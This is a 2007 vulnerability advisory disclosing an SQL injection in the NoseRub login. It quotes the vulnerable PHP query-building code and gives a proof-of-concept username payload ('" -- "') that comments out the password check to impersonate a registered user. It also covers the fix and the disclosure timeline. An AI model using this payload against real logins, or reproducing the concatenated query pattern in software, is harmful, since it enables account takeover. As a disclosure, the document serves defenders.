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# seclog.de Security Advisory 2007-001 #
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Advisory: NoseRub Login SQL Injection Vulnerability
Affected Versions: <= 0.5.2
Fixed Versions: current SVN
Risk: critical
Vendor URL: http://noserub.com
Vendor Status: informed, fixed version will be released soon
Advisory URL: http://seclog.de/pub/seclog-2007-001.txt
Advisory Status: public
Author: Felix Groebert <felix AT groebert DOT org>
Revision: 2007-12-26
Introduction
============
NoseRub is a protocol for and a sample implementation of a decentralized
social network.
Vulnerability
=============
The login script fails to validate user input. It is possible to insert
double quotes in order to escape the following SQL query:
SELECT `Identity`.`id`, `Identity`.`is_local`, [...]
FROM `identities` AS `Identity` WHERE `Identity`.`hash` = ''
AND `Identity`.`username` = "www.example.com/noserub/USERNAME"
AND `Identity`.`password` = 'f970e2767d0cfe75876ea857f92e319b' LIMIT 1
The query is generated at the end of the function check() in
app/models/identity.php:
return $this->find(array('Identity.hash' => '',
'Identity.username = "'. $username .'"',
'Identity.password' => md5($data['Identity']['password'])));
Proof of Concept
================
The SQL injection bug can be exploited by impersonating a registered user.
Go to: http://www.example.com/noserub/pages/login/
Login as: somereallogin " -- "
Password: unknownpassword
This results in the following SQL query, commenting out the fourth and fifth
lines using double dashes, thus maintaining valid SQL syntax.
SELECT `Identity`.`id`, `Identity`.`is_local`, [...]
FROM `identities` AS `Identity` WHERE `Identity`.`hash` = ''
AND `Identity`.`username` = "www.example.com/noserub/somereallogin"
-- "" AND `Identity`.`password` = 'f970e2767d0cfe75876ea857f92e319b'
LIMIT 1
Recommendation
==============
It is recommended to upgrade to NoseRub > 0.5.2.
A preliminary patched version of the affected file can be downloaded from
SVN revision 515:
http://noserub.googlecode.com/svn/trunk/app/models/identity.php
Disclosure Timeline
===================
2007-12-19 Problem found
2007-12-19 Notified developers
2007-12-20 Received response with proposed fix
2007-12-20 Sent acknowledgment concerning fix
2007-12-26 Released advisory to public
About seclog.de
===============
seclog.de is not your average latest-vulnerability-weblog. We try to
deliver quality commentary on recent security news and issues. Our focus
ranges from secure programming, exploitation techniques, applied
cryptography, network security, privacy, biometrics to social engineering:
from the organizational and human layers to the physical and application
layers. The weblog is partly in english and german. Check it out.
Disclaimer and Copyright
========================
The author is not responsible for the misuse of the information provided in
this security advisory. Advisories are a service to the professional
security community. There are NO WARRANTIES with regard to this information.
Any application or distribution of this information constitutes acceptance
AS IS, at the user's own risk. This information is subject to change without
notice.
This advisory Copyright (C) 2007 Felix Groebert. Permission is hereby granted
to redistribute this advisory, providing that no changes are made and that
the copyright notices and disclaimers remain intact.
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